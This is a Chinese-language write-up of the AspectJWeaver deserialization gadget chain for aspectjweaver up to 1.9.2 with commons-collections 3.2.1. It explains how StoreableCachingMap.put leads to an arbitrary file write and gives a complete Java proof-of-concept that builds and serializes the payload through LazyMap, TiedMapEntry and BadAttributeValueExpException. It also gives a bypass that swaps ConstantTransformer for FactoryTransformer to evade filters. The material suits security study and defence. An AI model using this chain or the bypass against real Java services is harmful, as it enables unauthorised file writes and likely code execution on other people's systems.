要求版本<=1.9.2
<dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version></dependency>
除此以外,还要求有cc的依赖
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
SimpleCache
来看这个类的内部类StoreableCachingMap
中的部分片段:
private static class StoreableCachingMap extends HashMap {private String folder;private static final String CACHENAMEIDX = "cache.idx";private long lastStored = System.currentTimeMillis();private static int DEF_STORING_TIMER = 60000;private int storingTimer;private transient Trace trace;private void initTrace() {this.trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);}private StoreableCachingMap(String folder, int storingTimer) {this.folder = folder;this.initTrace();this.storingTimer = storingTimer;}public Object put(Object key, Object value) {IOException e;try {e = null;byte[] valueBytes = (byte[])((byte[])value);String path;if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {path = "IDEM";} else {path = this.writeToPath((String)key, valueBytes);}Object result = super.put(key, path);this.storeMap();return result;} catch (IOException var6) {e = var6;this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e);Dump.dumpWithException(e);return null;}}private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = this.folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}}
发现其中的put方法调用了writeToPath
,可以用来写文件.
LazyMap
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {protected final Transformer factory;public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}
}
我们在cc6中是使用get方法去调用transform方法,然而这里是使用他去调用put方法的.那么接下来就比较清晰了,无论是使用BadAttributeValueExpException
去调用TiedMapEntry
的toString
方法还是使用HashMap
去调用TiedMapEntry
的hashCode
方法都行.
下面仅给出BadAttributeValueExpException
的poc:
package org.example;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("E:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("Hello World".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");// 这里是为了序列化时不触发LazyMap的get方法BadAttributeValueExpException poc = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedmap);// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(poc);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}
HelloWorld
会被写入到E盘下.
bypass
一个小的bypass:
Factory ft = new ConstantFactory("Hello World".getBytes(StandardCharsets.UTF_8));Transformer ct = new FactoryTransformer(ft);
可以用来绕过constantTransformer